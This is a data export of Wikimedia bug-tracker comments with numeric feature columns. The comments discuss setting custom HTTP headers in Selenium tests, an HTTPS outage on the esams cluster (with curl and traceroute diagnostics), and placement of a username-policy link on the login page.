210566,Investigate how to fake HTTP headers,"The goal of this task is to find out what zero team needs and to implement at least one simple test, proving that the solution you found works.",,,1386947651,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,3.0,20.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.8666666666666667,0.9666666666666667,"The goal of this task is to find out what zero team needs and to implement at least one simple test, proving that the solution you found works."
210558,Investigate how to fake HTTP headers,More information: http://stackoverflow.com/a/20568647/17469,,,1386946137,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,4.75,1.0,More information: URL
210552,Investigate how to fake HTTP headers,"Looks like it should be possible to fake headers, at least for PhantomJS:

https://github.com/ariya/phantomjs/wiki/API-Reference-WebPage#customheaders-object",,,1386932017,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.8823529411764706,1.0,"Looks like it should be possible to fake headers, at least for PhantomJS:

URL"
210547,Investigate how to fake HTTP headers,"If you need more information (and you probably do), feel free to ask questions
here, at #wikimedia-qa freenode IRC channel or at QA mailing list:

https://lists.wikimedia.org/mailman/listinfo/qa",,,1386004185,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.5277777777777777,0.9166666666666666,"If you need more information (and you probably do), feel free to ask questions
here, at #wikimedia-qa freenode IRC channel or at QA mailing list:

URL"
210543,Investigate how to fake HTTP headers,"I have changed the title, since it looks to me that this should not be done with Selenium, but another tool.",,,1385578136,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,17.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,8.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,17.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9583333333333334,"I have changed the title, since it looks to me that this should not be done with Selenium, but another tool."
210537,Investigate how to fake HTTP headers,"
This is the famous Issue 141 https://code.google.com/p/selenium/issues/detail?id=141",,,1385502287,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,38.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,"
This is the famous Issue 141 URL"
210533,Investigate how to fake HTTP headers,"We (zero) are currently forced to do testing via our own testing framework (simple script), which is obviously far ""superior"" to what Selenium offers. We would really like to switch to selenium for testing, but unless we can SET headers on request (we don't care about reading headers in the response), we can't use selenium.

I am aware of the proxying solution, but that is not very applicable - we need to set header = value1, test that results match value1, set it to value2, etc.",,,1385501579,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,1.0,0.5,3.0,3.5,1.0,0.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,5.5,0.0,6.0,9.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.5,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,12.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,1.0,0.0,0.0,2.0,3.0,3.0,0.5,1.5,3.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,6.5,9.5,2.0,0.0,1.0,0.0,6.5,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,3.736722571628232,0.7664220824598184,"We (zero) are currently forced to do testing via our own testing framework (simple script), which is obviously far ""superior"" to what Selenium offers. We would really like to switch to selenium for testing, but unless we can SET headers on request (we don't care about reading headers in the response), we can't use selenium.

I am aware of the proxying solution, but that is not very applicable - we need to set header = value1, test that results match value1, set it to value2, etc."
210530,Investigate how to fake HTTP headers,"Possibly related blog posts:

http://jimevansmusic.blogspot.com/2012/07/webdriver-y-u-no-have-http-status-codes.html
http://jimevansmusic.blogspot.com/2013/08/implementing-webdriver-http-status.html
http://jimevansmusic.blogspot.com/2013/08/implementing-http-status-codes-in.html
http://jimevansmusic.blogspot.com/2013/08/implementing-http-status-codes-in_17.html",,,1385491641,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.6153846153846154,"Possibly related blog posts:

URL
URL
URL
URL"
210527,Investigate how to fake HTTP headers,"To make it explicit, the solution should use Selenium Ruby bindings: https://code.google.com/p/selenium/wiki/RubyBindings",,,1385490484,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,1.0,"To make it explicit, the solution should use Selenium Ruby bindings: URL"
210525,Investigate how to fake HTTP headers,Do we know if Zero team still needs this? Who do we ping there to find out?,,,1385490436,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,16.0,5.0,11.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.1052631578947367,0.8947368421052632,Do we know if Zero team still needs this? Who do we ping there to find out?
210522,Investigate how to fake HTTP headers,"Probably not with Se directly, see suggestions at https://groups.google.com/forum/?fromgroups=#!topic/selenium-users/TeC-0TVV7Io",,,1367945887,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Probably not with Se directly, see suggestions at URL"
50208,esams cluster unreachable using SSL,"**Author:** `mediazilla`

**Description:**
Hi folks,

since last night, I've been unable to access any Wikimedia site using https (plain http works just fine). I'm in Germany, and I'm getting served by the esams cluster.

I've tried a variety of sites, including https://en.wikipedia.org , https://en.wikinews.org , https://www.mediawiki.org and https://meta.wikimedia.org ; none have worked. (https://mediawiki.org , which is getting served by the pmtpa cluster, works.)

When attempting to connect to any site served by the esams cluster, according to Wireshark, there is never a reply of any kind to the inital SYN packet. Given the TCP traceroutes below, I'm inclined to believe that the problem lies somewhere in Wikimedia's cluster.

I already asked about this in #wikimedia-tech last night and spoke to Leslie Carr and Ryan Lane, but they didn't find any obvious problems. It was noted that another user had already asked about https access issues earlier that night.

Since it's still not working today, I'm filing this bug so it won't be forgotten. Thanks for looking into this - please let me know if you need more information or if there's anything I can do to help.

--- Sample curl output ---
$ curl -I -v https://en.wikipedia.org
* About to connect() to en.wikipedia.org port 443 (#0)
*   Trying 91.198.174.225...
* 0x8001f2b0 is at send pipe head!
* STATE: CONNECT => WAITCONNECT handle 0x80057550; line 1032 (connection #0)
* After 149981ms connect time, move on!
*   Trying 2620:0:862:ed1a::1...
* After 74978ms connect time, move on!
* Failed connect to en.wikipedia.org:443; Operation now in progress
* Closing connection 0
* The cache now contains 0 members
curl: (7) Failed connect to en.wikipedia.org:443; Operation now in progress
$ 

--- Sample tcp tracerote on port 443 ---
$ tracetcp en.wikipedia.org:443

Tracing route to 91.198.174.225 [wikipedia-lb.esams.wikimedia.org] on port 443
Over a maximum of 30 hops.
[local hops]
3       12 ms   13 ms   13 ms   145.254.10.201
4       23 ms   27 ms   31 ms   92.79.213.138
5       19 ms   18 ms   19 ms   195.69.145.176  [xe-1-1-0.cr2-knams.wikimedia.or
g]
6       *       *       *       Request timed out.
7       *       *       *       Request timed out.
8       *       *       *       Request timed out.
9       *       *       *       Request timed out.
10      *       *       *       Request timed out.
11      *       *       *       Request timed out.
[...]

$ 

--- Sample tcp traceroute on port 80 (for comparison) ---

$ tracetcp en.wikipedia.org:80

Tracing route to 91.198.174.225 [wikipedia-lb.esams.wikimedia.org] on port 80
Over a maximum of 30 hops.
[local hops]
3       10 ms   10 ms   12 ms   145.254.10.201
4       31 ms   23 ms   27 ms   92.79.213.138
5       19 ms   18 ms   19 ms   195.69.145.176  [xe-1-1-0.cr2-knams.wikimedia.or
g]
6       Destination Reached in 20 ms. Connection established to 91.198.174.225
Trace Complete.

$

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1367927160,1367959500.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-v3yb6jy3g6fcigky3afi,task_description,declined,True,c2,1,False,False,True,-17,True,0.5714285714285714,0.14285714285714285,0.0,0.2857142857142857,0.42857142857142855,3.0,0.2857142857142857,0.0,0.0,0.2857142857142857,0.8571428571428571,1.1428571428571428,0.0,0.0,0.2857142857142857,1.2857142857142858,0.14285714285714285,2.142857142857143,8.142857142857142,0.2857142857142857,0.7142857142857143,0.0,0.2857142857142857,0.0,1.7142857142857142,0.2857142857142857,0.0,0.14285714285714285,0.14285714285714285,0.0,0.14285714285714285,2.7142857142857144,0.8571428571428571,0.42857142857142855,0.2857142857142857,0.14285714285714285,0.0,0.14285714285714285,1.1428571428571428,1.4285714285714286,0.0,0.14285714285714285,0.7142857142857143,1.4285714285714286,0.0,0.14285714285714285,0.0,0.0,0.2857142857142857,13.714285714285714,0.14285714285714285,0.42857142857142855,0.14285714285714285,0.2857142857142857,0.0,0.14285714285714285,0.0,0.2857142857142857,0.14285714285714285,0.0,0.14285714285714285,0.5714285714285714,0.0,0.0,0.0,0.0,0.0,1.5714285714285714,0.8571428571428571,9.571428571428571,1.1428571428571428,0.8571428571428571,3.0,0.0,0.0,0.42857142857142855,0.42857142857142855,1.7142857142857142,0.2857142857142857,7.428571428571429,0.0,2.0,8.142857142857142,6.142857142857143,0.0,0.0,0.0,2.0,0.0,0.2857142857142857,0.5714285714285714,0.14285714285714285,1.7142857142857142,0.2857142857142857,0.0,2.7142857142857144,3.756103023516238,0.5936650135978244,"**Author:** CODE

**Description:**
Hi folks,

since last night, I've been unable to access any Wikimedia site using https (plain http works just fine). I'm in Germany, and I'm getting served by the esams cluster.

I've tried a variety of sites, including URL , URL , URL and URL ; none have worked. (URL , which is getting served by the pmtpa cluster, works.)

When attempting to connect to any site served by the esams cluster, according to Wireshark, there is never a reply of any kind to the inital SYN packet. Given the TCP traceroutes below, I'm inclined to believe that the problem lies somewhere in Wikimedia's cluster.

I already asked about this in #wikimedia-tech last night and spoke to Leslie Carr and Ryan Lane, but they didn't find any obvious problems. It was noted that another user had already asked about https access issues earlier that night.

Since it's still not working today, I'm filing this bug so it won't be forgotten. Thanks for looking into this - please let me know if you need more information or if there's anything I can do to help.

--- Sample curl output ---
$ curl -I -v URL
* About to connect() to en.wikipedia.org port 443 (#0)
*   Trying 91.198.174.225...
* 0x8001f2b0 is at send pipe head!
* STATE: CONNECT => WAITCONNECT handle 0x80057550; line 1032 (connection #0)
* After 149981ms connect time, move on!
*   Trying 2620:0:862:ed1a::1...
* After 74978ms connect time, move on!
* Failed connect to en.wikipedia.org:443; Operation now in progress
* Closing connection 0
* The cache now contains 0 members
curl: (7) Failed connect to en.wikipedia.org:443; Operation now in progress
$ 

--- Sample tcp tracerote on port 443 ---
$ tracetcp en.wikipedia.org:443

Tracing route to 91.198.174.225 [wikipedia-lb.esams.wikimedia.org] on port 443
Over a maximum of 30 hops.
[local hops]
3       12 ms   13 ms   13 ms   145.254.10.201
4       23 ms   27 ms   31 ms   92.79.213.138
5       19 ms   18 ms   19 ms   195.69.145.176  [xe-1-1-0.cr2-knams.wikimedia.or
g]
6       *       *       *       Request timed out.
7       *       *       *       Request timed out.
8       *       *       *       Request timed out.
9       *       *       *       Request timed out.
10      *       *       *       Request timed out.
11      *       *       *       Request timed out.
[...]

$ 

--- Sample tcp traceroute on port 80 (for comparison) ---

$ tracetcp en.wikipedia.org:80

Tracing route to 91.198.174.225 [wikipedia-lb.esams.wikimedia.org] on port 80
Over a maximum of 30 hops.
[local hops]
3       10 ms   10 ms   12 ms   145.254.10.201
4       31 ms   23 ms   27 ms   92.79.213.138
5       19 ms   18 ms   19 ms   195.69.145.176  [xe-1-1-0.cr2-knams.wikimedia.or
g]
6       Destination Reached in 20 ms. Connection established to 91.198.174.225
Trace Complete.

$

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
210034,esams cluster unreachable using SSL,"**mediazilla** wrote:

Quick heads-up: whatever the problem was, it seems to be working again now. I'll close this as WORKSFORME for now - will reopen if there's gonna be issues again.",,,1367959500,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3yb6jy3g6fcigky3afi,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,7.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.369565217391304,0.8043478260869565,"**mediazilla** wrote:

Quick heads-up: whatever the problem was, it seems to be working again now. I'll close this as WORKSFORME for now - will reopen if there's gonna be issues again."
49704,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","The new ACUX shows this link ""(help me choose)"" prominently on top of the first textfield. This is a wikipedism that has several problems:

* Most MediaWiki instances don't have any username policy. With that link enforced you need to create a wiki page not to show that link in red. See for instance http://www.mediawiki.org/w/index.php?title=Project:Username_policy&action=edit&redlink=1

* Even if you do have a policy (like English Wikipedia has) this is probably not a page you want all new user to look, scared that they might be doing something wrong. http://en.wikipedia.org/wiki/Wikipedia:Username_policy is so dense and boring that it might drive potential new users away.

I'm not sure how to force a wrong username and I don't want to create fake accounts trying to test this, but I bet when you try to create a ""blacklisted"" user name you get an error message. Place the ""(help me choose)"" link in the error message instead, since that is the place where legitimate users will need it.

In the meantime most people just trying to register with their NameSurnameXYZ and other innocent variants will just go through, unaware (for good!) of the dense boring policy they just followed unconsciously.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=47801",Needs Triage,90.0,1366947540,1367388158.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-fchvq33a4ppcnk465wwu,task_description,resolved,True,c2,1,False,False,True,-18,True,1.0,0.3333333333333333,0.0,0.0,1.6666666666666667,8.666666666666666,1.0,0.0,0.0,0.3333333333333333,1.6666666666666667,1.0,0.0,0.0,0.0,1.6666666666666667,0.0,6.666666666666667,8.333333333333334,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,5.333333333333333,1.3333333333333333,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,13.333333333333334,1.3333333333333333,1.0,0.0,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.0,1.6666666666666667,8.0,2.3333333333333335,1.3333333333333333,8.0,0.0,0.0,0.3333333333333333,0.0,7.666666666666667,0.0,0.0,0.0,5.333333333333333,8.333333333333334,1.3333333333333333,0.0,2.0,0.0,5.333333333333333,0.0,1.3333333333333333,2.3333333333333335,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,3.783264933880529,0.7197902416780666,"The new ACUX shows this link ""(help me choose)"" prominently on top of the first textfield. This is a wikipedism that has several problems:

* Most MediaWiki instances don't have any username policy. With that link enforced you need to create a wiki page not to show that link in red. See for instance URL

* Even if you do have a policy (like English Wikipedia has) this is probably not a page you want all new user to look, scared that they might be doing something wrong. URL is so dense and boring that it might drive potential new users away.

I'm not sure how to force a wrong username and I don't want to create fake accounts trying to test this, but I bet when you try to create a ""blacklisted"" user name you get an error message. Place the ""(help me choose)"" link in the error message instead, since that is the place where legitimate users will need it.

In the meantime most people just trying to register with their NameSurnameXYZ and other innocent variants will just go through, unaware (for good!) of the dense boring policy they just followed unconsciously.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
230330,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","**swalling** wrote:

See my comment on bug 47801 about our solution for this.

%%%*** This bug has been marked as a duplicate of bug 47801 ***%%%",,,1367388158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,14.0,5.0,0.0,5.0,11.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.772727272727273,0.5909090909090909,"**swalling** wrote:

See my comment on bug 47801 about our solution for this.

%%%*** This bug has been marked as a duplicate of bug 47801 ***%%%"
230327,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","The Commons is proposed, but the other two non-Wikpedia ones mentioned are official.",,,1367270877,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,6.0,0.0,29.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,18.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.235294117647059,1.0,"The Commons is proposed, but the other two non-Wikpedia ones mentioned are official."
230324,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","Let's discuss the username policy link here, since it's more specific, and this bug was filed first.

There are a lot of wikis both inside and outside the WMF that have a username policy.  There are two questions:

* What should the MW defaults should be?

* What should the WMF defaults be?

Based on this, there are various options

1. If we think most MW wikis want a username policy linked from this page, then the original approach seems correct, and wikis that don't want it can override it locally.

There are certainly a good number of third-party MW wikis that have this (search [wiki username policy]), and more might set it up if it were suggested as a redlink.

2. If most MW wikis don't have or want it, but WMF wikis do, then one option is to put it in WikimediaMessages (https://www.mediawiki.org/wiki/Extension:WikimediaMessages), which is exactly what it sounds like, WMF-wide message defaults.

It certainly seems like a lot of WMF wikis have such policies, judging by both https://www.wikidata.org/wiki/Q4664077 and the Google search mentioned above.  It's not just Wikipedias.  See http://en.wikiquote.org/wiki/Wikiquote:Username_policy, http://commons.wikimedia.org/wiki/Commons:Username_policy, http://en.wikinews.org/wiki/Wikinews:Username , etc.

3. We could have a boolean that determines whether to show the message, with an appropriate MW and WMF default, and configuration on various wikis.

4. We could do it manually only on the wikis that want it, but I'm not convinced that's the most efficient, given how many do have it.

I think 1 or 2 are the best options, but 3 is a possibility.

Regarding the original point (only showing it after an error), it is true that ""when you try to create a ""blacklisted"" user name you get an error message""

But there are a lot of usernames that are not appropriate, but not blacklisted.  And some wikis don't have automated blacklists enabled.",,,1367268172,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,0.5,0.0,0.0,0.5,1.75,5.5,1.25,0.0,0.0,0.75,0.5,1.0,0.0,0.5,1.25,1.25,0.0,6.5,6.5,0.0,0.75,0.75,0.25,0.25,0.75,0.25,0.0,1.0,1.0,0.0,0.0,8.5,1.75,3.75,0.5,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.25,0.0,1.0,0.0,11.5,1.0,0.5,1.0,2.25,0.0,0.25,0.5,0.25,1.0,0.0,1.25,0.75,0.0,0.25,0.0,1.25,0.0,6.0,3.75,9.5,2.0,4.0,8.25,0.0,0.0,0.0,0.0,4.25,0.0,1.5,0.0,5.75,6.5,4.5,0.5,1.0,0.0,5.75,0.0,3.0,3.25,0.0,0.75,0.5,1.0,1.5,3.6315789473684212,0.6657894736842106,"Let's discuss the username policy link here, since it's more specific, and this bug was filed first.

There are a lot of wikis both inside and outside the WMF that have a username policy.  There are two questions:

* What should the MW defaults should be?

* What should the WMF defaults be?

Based on this, there are various options

1. If we think most MW wikis want a username policy linked from this page, then the original approach seems correct, and wikis that don't want it can override it locally.

There are certainly a good number of third-party MW wikis that have this (search [wiki username policy]), and more might set it up if it were suggested as a redlink.

2. If most MW wikis don't have or want it, but WMF wikis do, then one option is to put it in WikimediaMessages (URL which is exactly what it sounds like, WMF-wide message defaults.

It certainly seems like a lot of WMF wikis have such policies, judging by both URL and the Google search mentioned above.  It's not just Wikipedias.  See URL URL URL , etc.

3. We could have a boolean that determines whether to show the message, with an appropriate MW and WMF default, and configuration on various wikis.

4. We could do it manually only on the wikis that want it, but I'm not convinced that's the most efficient, given how many do have it.

I think 1 or 2 are the best options, but 3 is a possibility.

